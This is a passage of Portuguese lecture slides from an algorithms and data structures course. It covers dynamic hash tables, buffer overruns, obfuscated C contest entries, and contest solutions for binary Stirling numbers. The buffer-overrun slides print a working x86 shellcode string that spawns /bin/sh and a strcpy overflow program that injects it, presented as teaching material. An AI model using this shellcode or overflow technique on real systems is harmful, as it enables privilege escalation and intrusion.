α = N/M tem de ser menor que 1.

Número de operações necessário para achar um itemé:

Hits: 1α ln( 1

1−α)

Misses: 11−α

Número de operações cresce mais lentamente quandoα → 1.0

α 0.5 0.667 0.75 0.9hit 1.4 1.6 1.8 2.6

miss 1.5 2.0 3.0 5.5

AED 2003/2004 – p.519/554

Page 594: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de Dispersão Dinâmicas

Carga da tabela aumenta - custo de inserção e procuraaumenta

tabela esparsa (ou encadeamento externo) -aumento é gradualtabela não esparsa - aumento incomportávelprocura linear e dispersão dupla - carga máxima 1

Solução: duplicar tamanho da tabela quando esta ficameio cheia

No entanto, duplicação tem custo altomas, é pouco frequente

AED 2003/2004 – p.520/554

Page 595: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Solução dinâmica para procura linear

void expand();

void STinsert(Item item)

Key v = key(item);

int i = hash(v, M);

while (!null(i)) i = (i+1) % M;

st[i] = item;

if (N++ > M/2) expand();

void expand()

int i; Item *t = st;

init(M+M);

for (i = 0; i < M/2; i++)

if (key(t[i]) != key(NULLitem))

STinsert(t[i]);

free(t);

AED 2003/2004 – p.521/554

Page 596: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de Dispersão - Conclusão

Vantagens:Concretizam operações de inserção e procura emtempo constante (caso médio)

procura linear - a mais rápida (tabela esparsa)dispersão dupla - melhor compromissotempo/memóriaencadeamento externo - mais fácil de concretizar,maior carga mas pior uso de memória

Inconvenientesnão há garantia de desempenhocusto de função de dispersão alto se chaves longasocupam mais memória do que necessário (BST tb)não suportam eficientemente as operações deordenação e selecção

AED 2003/2004 – p.522/554

Page 597: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte XV

Tópicos Finais

AED 2003/2004 – p.523/554

Page 598: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tópicos Finais

Hacking em CBuffer Overruns...

Concursos de ProgramaçãoIOCCCXP@IST / MIUP / SWERC ACM-ICPC

AED 2003/2004 – p.524/554

Page 599: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Buffer Overruns

O C não verifica os limites dos arrays

É possível alterar posições de memória fora dasposições de um array

É possível alterar código ou executar outro códigoutilizando esta possibilidade

É por vezes possível ter acesso a uma shell comprivilégios de root

AED 2003/2004 – p.525/554

Page 600: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Buffer Overruns – Exemplo

void function(int a, int b, int c)

char buffer1[5];

char buffer2[10];

int *ret;

ret = buffer1 + 12; /* aceder ao endereco de retorno... */

(*ret) += 8; /* alterar o endereco de retorno... */

void main()

int x;

x = 0;

function(1,2,3);

x = 1; /* instrucao nao executada... */

printf("%d\n",x);

Num Pentium II o resultado escrito é 0...AED 2003/2004 – p.526/554

Page 601: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Acesso a Shell

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main()

int *ret;

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

AED 2003/2004 – p.527/554

Page 602: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Buffer Overrun com Acesso a Shell

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main()

char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i];

strcpy(buffer,large_string);

AED 2003/2004 – p.528/554

Page 603: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Buffer Overruns

É possível efectuar o overflow de outro programa eexecutar um nosso que nos dá uma shell

É possível conseguir executar uma shell como root

AED 2003/2004 – p.529/554

Page 604: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

IOCCC

International Obfuscated C Code ContestExemplos de código imperceptível, comfuncionalidade complexaPéssimos exemplos de qualidade da programação;mas bons exemplos das potencialidades do C (e dosprogramadores!)

AED 2003/2004 – p.530/554

Page 605: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo I – Maze

#define r return

char*u0="<RET> to begin... ",*u1="Already been here!",*u2="Found a wall! \

",*u3="Walking... ",*u4="Finished. ",*u5="Going back..\

. ",*o="\033[23;1HDone!!\n",*x="\033[2J",*y="\033[1;1H",*z="\033[%d;%\

dH%c",*w="\033[1;1H%s",*v="\033[%d;%dH%c\033[%d;%dH%c\033[%d;%dH%c",

b[1841];int c,d,e,f,g;typedef int(*h)();h i,j,k,l,m,n;int printf(),

srand(),rand(),time(),getchar();int main(int a)i=printf,j=srand,

k=rand,l=time,m=getchar,n=main;if(!c)for(j(l(0)),g=a=1000,--d;++d<1840;

b[c=d]=" #\n"[d%80==79?2:d/80&&d%80&&d/80-22&&d%80-78]);if(!(c-1839))++c,

i("%s%s%s",x,y,b);k:if(!(c-1840)&&(b[a+2]+b[a-2]+b[a+160]+

b[a-160]-4*’ ’))while(b[a+(f=(e=k()%4)?e-1?e-2?-1:1:-80:80)*2]!=

’#’);b[a]=b[a+f]=b[f+a+f]=’ ’;i(v,a/80+1,1+a%80,’ ’,(a+f)/80+1,1+

(a+f)%80,’ ’,(f+a+f)/80+1,1+(f+a+f)%80,’ ’);n(f+a+f);goto k;

else if(!(g-a))c=1,a=162,i(w,u0),m();if(c-1)else r b[a]!=’ ’?

(i(w,b[a]==’.’?u1:u2),0):(b[a]=’.’,i(w,u3),i(z,a/80+1,1+a%80,’.’),

a==1676?(i(w,u4),i(o),1):n(a+1)||n(a+80)||n(a-80)||n(a-1)?1:

(b[a]=’ ’,i(w,u5),i(z,a/80+1,1+a%80,’ ’),0));r 0;

AED 2003/2004 – p.531/554

Page 606: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo II – Factoriais

#include <stdio.h>

#define l11l 0xFFFF

#define ll1 for

#define ll111 if

#define l1l1 unsigned

#define l111 struct

#define lll11 short

#define ll11l long

#define ll1ll putchar

#define l1l1l(l) l=malloc(sizeof(l111 llll1));l->lll1l=1-1;l->ll1l1=1-1;

#define l1ll1 *lllll++=l1ll%10000;l1ll/=10000;

#define l1lll ll111(!l1->lll1l)l1l1l(l1->lll1l);l1->lll1l->ll1l1=l1;\

lllll=(l1=l1->lll1l)->lll;ll=1-1;

#define llll 1000

AED 2003/2004 – p.532/554

Page 607: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo II – Factoriais

l111 llll1

l111 llll1 *

lll1l,*ll1l1 ;l1l1 lll11 lll [

llll];;main ()l111 llll1 *ll11,*l1l,*

l1, *ll1l, * malloc ( ) ; l1l1 ll11l l1ll ;

ll11l l11,ll ,l;l1l1 lll11 *lll1,* lllll; ll1(l

=1-1 ;l< 14; ll1ll("\t\"8)>l\"9!.)>vl" [l]ˆ’L’),++l

);scanf("%d",&l);l1l1l(l1l) l1l1l(ll11 ) (l1=l1l)->

lll[l1l->lll[1-1] =1]=l11l;ll1(l11 =1+1;l11<=l;

++l11)l1=ll11; lll1 = (ll1l=( ll11=l1l))->

lll; lllll =( l1l=l1)->lll; ll=(l1ll=1-1

);ll1(;ll1l-> lll1l||l11l!= *lll1;)l1ll

+=l11**lll1++ ;l1ll1 ll111 (++ll>llll)

l1lll lll1=( ll1l =ll1l-> lll1l)->lll;

ll1(;l1ll; )l1ll1 ll111 (++ll>=llll)

l1lll * lllll=l11l;

ll1(l=(ll=1- 1);(l<llll)&&

(l1->lll[ l] !=l11l);++l); ll1 (;l1;l1=

l1->ll1l1,l= llll)ll1(--l ;l>=1-1;--l,

++ll)printf( (ll)?((ll%19) ?"%04d":(ll=

19,"\n%04d") ):"%4d",l1-> lll[l] ) ;

ll1ll(10);

AED 2003/2004 – p.533/554

Page 608: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo III – Jogo do Galo

#define O B F U S C A T E D

#define I 8;t(p)r(p?W:o);XClearWindow(V,m);main(i,f)char**f;M((T(h=f),

#define K Y(o,XMapRaised(V,e);)x=3;x--;)for(y=3;y--;r(G))XMapRaised(V,R[D]

#define N z(x+i,(z(H-x-i,x),x)))x<i||z(x-i,x)|z(H-x+i,x)Y(W,)l=k;l>20&&l>x

#define XIMOfIC Z;XID(*w)()=XCreateWindow,m,e,o[2],W[2],G[2],R[2][O]);GC*g

#define E (++D)));r(XID*z)XSetWindowBackgroundPixmap(V=d[D],m=R[D][x][y],z[

#define L ;XStoreName(V,e=w(V,RootWindow(V,s),0,0,152,152,2,0,1,0,0,0),"II"+D

#define B 3][3];Display*V,*d[2];char**h,k=25,b[2500],H=50,D,s,x,y,i;T()float

#define S +k),z(k-P=w(V,e,H*x,H*y,H,H,1,0,1,0,2048,&c));XEvent J;M()XFlush(

#define Y(z,y) ;for(z[D]=XCreatePixmapFromBitmapData(Q,x=0,H*H);x<H;x++)y for(

#define A x][y]&&!b[x+k*y]++?t(D),t(!(Dˆ=1)):D);M();z(x,y)b[x/8+y*7]|=1<<x%I

#define P x,y)-z(y,x+k)+z(y,k-x)*z(x+k,y=H-y),z(k-x,y),z(y,k-x),z(y,k+x)K[x][y]

#define Q V,e,b,H,H,BlackPixel(V,s),WhitePixel(V,s),DefaultDepth(V,s)),memset(b

#define C d[!D]);x=3;for(XNextEvent(V,&J);x--;)for(y=3;y--;J.xany.window==R[D][

#define F l;XSetWindowAttributes c;s=XDefaultScreen(V=d[D]=XOpenDisplay(*(h+=!!

#define U *h)))L)Y(G,)i=c.event_mask=4;i--;x+i>H||N;l-=.5)z(x+k,y=sqrt(l*l-x*x)

#include <math.h>

#include <X11/Xlib.h>

AED 2003/2004 – p.534/554

Page 609: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Concursos de Programação

XP@IST:Permite seleccionar equipas do IST para participar naMIUP / SWERC

MIUP:Maratona Inter-Universitária de Programação

SWERC:ACM Southwestern Europe Programming Contest

ICPC: [http://icpc.baylor.edu/icpc]ACM International Collegiate Programming Contest

AED 2003/2004 – p.535/554

Page 610: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Concursos de Programação – Estrutura

k problemas de programação em m horas:SWERC: 9 problemas em 5 horas

Cerca de 1/2 hora por problema...Complexidade de cada problema semelhante àcomplexidade de alguns dos projectos de AED...

AED 2003/2004 – p.536/554

Page 611: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplos

Números de Stirling BináriosDeterminar se é ímpar o número de maneiras departicionar um conjunto de n elements em msubconjuntos não vazios.

AED 2003/2004 – p.537/554

Page 612: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Números de Stirling Binários

S(n,m) = m · S(n − 1,m) + S(n − 1,m − 1), 1 < m < n.

Pretende-se calcular S(n,m)mod2,1 ≤ m ≤ n ≤ 1000000000.

Exemplo: S(4, 2) = 1

AED 2003/2004 – p.538/554

Page 613: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Solução Recursiva

#define odd(x) ((x)&1)

extern int stir(int, int);

int main(int argc, char **argv)

int n, m;

if (argc < 3) exit(0);

n = atoi(argv[1]);

m = atoi(argv[2]);

printf("%d %d %d\n", n, m, odd(stir(n,m)));

int stir(int n, int m)

if (m < 1) return 0;

if (m == n || m == 1 || n <= 1) return 1;

return m * stir(n - 1, m) + stir(n - 1, m - 1);

AED 2003/2004 – p.539/554

Page 614: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Desempenho da Solução Recursiva...

(n,m) Tempo(30,10) 0.4(30,20) 0.8(40,10) 9.0(40,20) >100(50,10) 85.2(50,20) >100

(10000,500) >1000(10000,1000) >1000(10000,2000) >1000

AED 2003/2004 – p.540/554

Page 615: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Solução Tabular I

#include <stdio.h>

#include <stdlib.h>

#define odd(x) ((x)&1)

#define even(x) (1-((x)&1))

#define min(x,y) (((x)<=(y))?(x):(y))

extern int compute_odd_stirling(int, int);

int *partab;

int main(int argc, char **argv)

int n, m;

if (argc < 3) exit(0);

n = atoi(argv[1]);

m = atoi(argv[2]);

partab = (int*) malloc((n+1)*(m+1)*sizeof(int));

if (partab == NULL) exit(1);

printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));

AED 2003/2004 – p.541/554

Page 616: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Solução Tabular I

int compute_odd_stirling(int n, int m)

int i, j, tog = 1, minim;

for (i = 0; i <= n; i++)

*(partab + i*(m+1) + 0) = 0;

*(partab + i*(m+1) + 1) = 1;

for (i = 2; i <= n; i++)

minim = min(i, m);

for (j = 2; j <= minim; j++)

*(partab + i*(m+1) + j) =

j * *(partab + (i-1)*(m+1) + j) + *(partab + (i-1)*(m+1) + j-1);

return odd(*(partab + n*(m+1) + m));

AED 2003/2004 – p.542/554

Page 617: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Avaliação Experimental

(n,m) Versão 1(10000,500) 0.0

(10000,1000) 0.1(10000,2000) 0.4

(100000,1000) 1.1(100000,5000) mem out

(100000,10000) mem out(100000,20000) mem out

(1000000,10000) mem out(1000000,50000) mem out

(1000000,100000) mem out

AED 2003/2004 – p.543/554

Page 618: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Solução Tabular II

#define odd(x) ((x)&1)

#define even(x) (1-((x)&1))

#define min(x,y) (((x)<=(y))?(x):(y))

extern int compute_odd_stirling(int, int);

int *partab[2];

int main(int argc, char **argv)

int n, m;

if (argc < 3) exit(0);

n = atoi(argv[1]);

m = atoi(argv[2]);

partab[0] = (int*) malloc((n+1)*sizeof(int));

partab[1] = (int*) malloc((n+1)*sizeof(int));

printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));

AED 2003/2004 – p.544/554

Page 619: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Solução Tabular II

int compute_odd_stirling(int n, int m)

int i, j, tog = 0, minim;

partab[0][0] = 0;

partab[0][1] = 1;

for (i = 2; i <= n; i++)

tog = 1-tog;

minim = min(i,m);

partab[tog][1] = 1;

for (j = 2; j <= minim; j++)

if (odd(j))

partab[tog][j] = odd((partab[1-tog][j] + partab[1-tog][j-1]));

else

partab[tog][j] = partab[1-tog][j-1];

return partab[tog][m];

AED 2003/2004 – p.545/554

Page 620: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Solução Tabular III

#define odd(x) ((x)&1)

#define even(x) (1-((x)&1))

#define min(x,y) (((x)<=(y))?(x):(y))

extern int compute_odd_stirling(int, int);

int *partab[2];

int main(int argc, char **argv)

int n, m;

if (argc < 3) exit(0);

n = atoi(argv[1]);

m = atoi(argv[2]);

partab[0] = (int*) malloc((n+1)*sizeof(int));

partab[1] = (int*) malloc((n+1)*sizeof(int));

printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));

AED 2003/2004 – p.546/554

Page 621: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Solução Tabular III

int compute_odd_stirling(int n, int m)

int i, j, tog = 0, minim;

partab[0][0] = 0;

partab[0][1] = 1;

for (i = 2; i <= n-m+1; i++)

tog = 1-tog;

minim = min(i,m);

partab[tog][1] = 1;

for (j = 2; j <= minim; j++)

if (odd(j))

partab[tog][j] = odd((partab[1-tog][j] + partab[1-tog][j-1]));

else

partab[tog][j] = partab[1-tog][j-1];

...

AED 2003/2004 – p.547/554

Page 622: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Solução Tabular III

(cont.)for (i = n-m+2; i <= n; i++)

tog = 1-tog;

minim = min(i,m);

for (j = i+m-n; j <= minim; j++)

if (odd(j))

partab[tog][j] = odd((partab[1-tog][j] + partab[1-tog][j-1]));

else

partab[tog][j] = partab[1-tog][j-1];

return partab[tog][m];

AED 2003/2004 – p.548/554

Page 623: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Avaliação Experimental

(n,m) Versão 1 Versão 2 Versão 3(10000,500) 0.0 0.0 0.0

(10000,1000) 0.1 0.1 0.1(10000,2000) 0.4 0.1 0.1

(100000,1000) 1.1 0.5 0.5(100000,5000) mem out 2.4 2.5

(100000,10000) mem out 4.9 4.3(100000,20000) mem out 9.2 7.9

(1000000,10000) mem out 50.6 47.1(1000000,50000) mem out 328.6 320.2

(1000000,100000) mem out 641.4 608.0(1000000,200000) mem out >1000 >1000

AED 2003/2004 – p.549/554

Page 624: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Solução Tabular IV

#define odd(x) ((x)&1)

#define even(x) (1-((x)&1))

#define min(x,y) (((x)<=(y))?(x):(y))

extern int compute_odd_stirling(int, int);

int *partab0, *partab1;

int main(int argc, char **argv)

int n, m;

if (argc < 3) exit(0);

n = atoi(argv[1]);

m = atoi(argv[2]);

partab0 = (int*) malloc((n+1)*sizeof(int));

partab1 = (int*) malloc((n+1)*sizeof(int));

printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));

AED 2003/2004 – p.550/554

Page 625: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Solução Tabular IV

int compute_odd_stirling(int n, int m)

int i, j, tog = 0, minim;

partab0[0] = 0; partab0[1] = 1;

for (i = 2; i <= n; i++)

tog = 1-tog;

minim = min(i,m);

if (tog)

partab1[1] = 1;

for (j = 2; j <= minim; j++)

partab1[j] = odd(j) ? odd((partab0[j]+partab0[j-1])) : partab0[j-1];

else

partab0[1] = 1;

for (j = 2; j <= minim; j++)

partab0[j] = odd(j) ? odd((partab1[j]+partab1[j-1])) : partab1[j-1];

return (tog) ? partab1[m] : partab0[m];

AED 2003/2004 – p.551/554

Page 626: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Avaliação Experimental

(n,m) Versão 2 Versão 4(10000,500) 0.0 0.0

(10000,1000) 0.1 0.1(10000,2000) 0.1 0.1

(100000,1000) 0.5 0.5(100000,5000) 2.4 2.4

(100000,10000) 4.9 4.7(100000,20000) 9.2 8.2

(1000000,10000) 50.6 49.8(1000000,50000) 328.6 306.5

(1000000,100000) 641.4 580.2(1000000,200000) >1000 >1000

AED 2003/2004 – p.552/554

Page 627: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Alguns Links

Buffer overrunshttp://www.phrack.org/show.php?p=49&a=14http://www.phrack.org/http://www.shemesh.biz/lectures.html

IOCCChttp://www.ioccc.org/

Concursos de ProgramaçãoMIUP’02: http://miup2002.fc.ul.pt/SWERC’01 & SWERC’02: http://swerc.up.pt/Colecções de problemas:

acm.uva.es/problemsetwww.acm.inf.ethz.ch/ProblemSetArchive.html

AED 2003/2004 – p.553/554

Page 628: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.554/554